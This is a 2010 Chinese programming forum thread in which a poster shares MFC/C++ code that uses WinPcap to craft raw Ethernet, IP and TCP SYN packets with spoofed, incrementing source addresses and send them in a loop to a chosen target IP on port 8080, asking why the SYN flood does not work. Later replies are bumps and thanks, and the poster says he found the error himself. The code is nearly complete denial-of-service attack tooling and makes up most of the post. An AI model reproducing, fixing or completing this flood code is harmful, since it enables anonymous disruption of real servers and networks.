各位大哥帮我看看winpcap写的包

tprax634 2010-05-01 02:53:44
我想试用winpcap来实现tcp syn flood,可是总是不行,编译是成功了,但是没抓到包。
程序如下:
OnButtonSend函数:
{
m_btn=TRUE;
GetDlgItem(IDC_BUTTON_SEND)->EnableWindow(FALSE);
GetDlgItem(IDC_BUTTON_STOP)->EnableWindow();


int SendSEQ=0;
unsigned char SendBuf[128]={0};
unsigned char tempbuf[60]={0};
ethernet_head *ethheader;
IP_HEADER *iphdr=0;
TCP_HEADER *tcphdr=0;
long FakeIpHost;
DWORD ip;
IN_ADDR anyfake,anydes;
pcap_t * phandle;
pcap_if_t *alldevsp=0;
pcap_if_t *pcap=0;
char errbuf[256];
ethheader =(ethernet_head*)SendBuf;
iphdr=(IP_HEADER*)(SendBuf+sizeof(ethernet_head));
tcphdr=(TCP_HEADER*)(SendBuf+sizeof(ethernet_head)+sizeof(IP_HEADER));



ethheader->eh_type=htons(0x0800);

ethheader->source_mac[0]=0x11; //随便设的。。
ethheader->source_mac[1]=0x23;
ethheader->source_mac[2]=0x23;
ethheader->source_mac[3]=0x34;
ethheader->source_mac[4]=0x13;
ethheader->source_mac[5]=0x14;

ethheader->dest_mac[0]=0x08; //目标设置为网关MAC地址
ethheader->dest_mac[1]=0x10;
ethheader->dest_mac[2]=0x74;
ethheader->dest_mac[3]=0x7b;
ethheader->dest_mac[4]=0x68;
ethheader->dest_mac[5]=0x28;

if(-1==pcap_findalldevs(&alldevsp, errbuf))
{
MessageBox("error in finding adapter");
return;
}
UpdateData();
pcap=alldevsp;
if(m_listnum!=-1) //m_listnum指的是用户选择的网卡,由m_list.GetCurSel()获得
{
int i=0;
while(i<m_listnum)
{
pcap=pcap->next; //指向用户所选择的网卡
i++;
}
}
else
{
MessageBox("you havent chosen your adapters");
return;
}

phandle=pcap_open(pcap->name, 65535, 1, 1000, NULL, errbuf);
if(phandle==NULL)
{
MessageBox("error in opending adapter");
}


((CIPAddressCtrl*)GetDlgItem(IDC_IPADDRESS_FIP))->GetAddress(ip);
anyfake.S_un.S_addr=htonl(ip);
((CIPAddressCtrl*)GetDlgItem(IDC_IPADDRESS_DIP))->GetAddress(ip);
anydes.S_un.S_addr=htonl(ip);
fsd_header fsd;






FakeIpHost=ntohl(anyfake.S_un.S_addr);

//填充IP首部
iphdr->h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));

//高四位IP版本号,低四位首部长度
iphdr->total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
iphdr->ident=1; //16位标识
iphdr->frag_and_flags=0; //3位标志位
iphdr->ttl=128; //8位生存时间TTL
iphdr->tos=0;
iphdr->proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
iphdr->checksum=0; //16位IP首部校验和
iphdr->sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
iphdr->destIP=anydes.S_un.S_addr; //32位目的IP地址

//填充TCP首部
tcphdr->th_sport=htons(7000); //源端口号
tcphdr->th_dport=htons(8080); //目的端口号
tcphdr->th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcphdr->th_ack=0; //ACK序列号置为0
tcphdr->th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcphdr->th_flag=2; //SYN 标志
tcphdr->th_win=htons(16384); //窗口大小
tcphdr->th_urp=0; //偏移
tcphdr->th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)
fsd.saddr=iphdr->sourceIP; //源地址
fsd.daddr=iphdr->destIP; //目的地址
fsd.mbz=0;
fsd.ptcl=IPPROTO_TCP; //协议类型
fsd.tcpl=htons(sizeof(TCP_HEADER)); //TCP首部长度

// while(m_btn) { //判断是否终止攻击
//每发送100个报文输出一个标示符

m_edit+="!";
UpdateData(FALSE);

for(int counter=0;counter<100;counter++)
{
if(SendSEQ++==65536)
{
SendSEQ=1; //序列号循环
}
//更改IP首部
iphdr->checksum=0; //16位IP首部校验和
iphdr->sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcphdr->th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcphdr->th_sum=0; //校验和
//更改TCP Pseudo Header
fsd.saddr=iphdr->sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(tempbuf,&fsd,sizeof(fsd_header));
memcpy(tempbuf+sizeof(fsd_header),tcphdr,sizeof(TCP_HEADER));
tcphdr->th_sum=checksum((USHORT *)tempbuf,sizeof(fsd_header)+sizeof(TCP_HEADER));

//计算IP校验和
memcpy(tempbuf,iphdr,sizeof(IP_HEADER));
memcpy(tempbuf+sizeof(IP_HEADER),tcphdr,sizeof(TCP_HEADER));
memset(tempbuf+sizeof(IP_HEADER)+sizeof(TCP_HEADER),0,4);
int datasize=sizeof(IP_HEADER)+sizeof(TCP_HEADER);
iphdr->checksum=checksum((USHORT*)tempbuf,datasize);





if(-1==pcap_sendpacket(phandle, SendBuf,sizeof(SendBuf)))
{
MessageBox("error when sending packets");
return;
}






} //end of for
// } //end of while

pcap_freealldevs(alldevsp);
}
...全文
206 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
RightNowYang 2012-03-15
  • 打赏
  • 举报
回复
楼主说下原因嘛
tprax634 2010-05-01
  • 打赏
  • 举报
回复
自己找到错误啦,谢谢帮我顶上去的朋友,我给你分吧
tprax634 2010-05-01
  • 打赏
  • 举报
回复
这位兄弟太好人了,谢谢啊
尹成 2010-05-01
  • 打赏
  • 举报
回复
帖子都沉底了!只能帮楼主顶到上面,以期更多高手帮楼主解决难题!

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧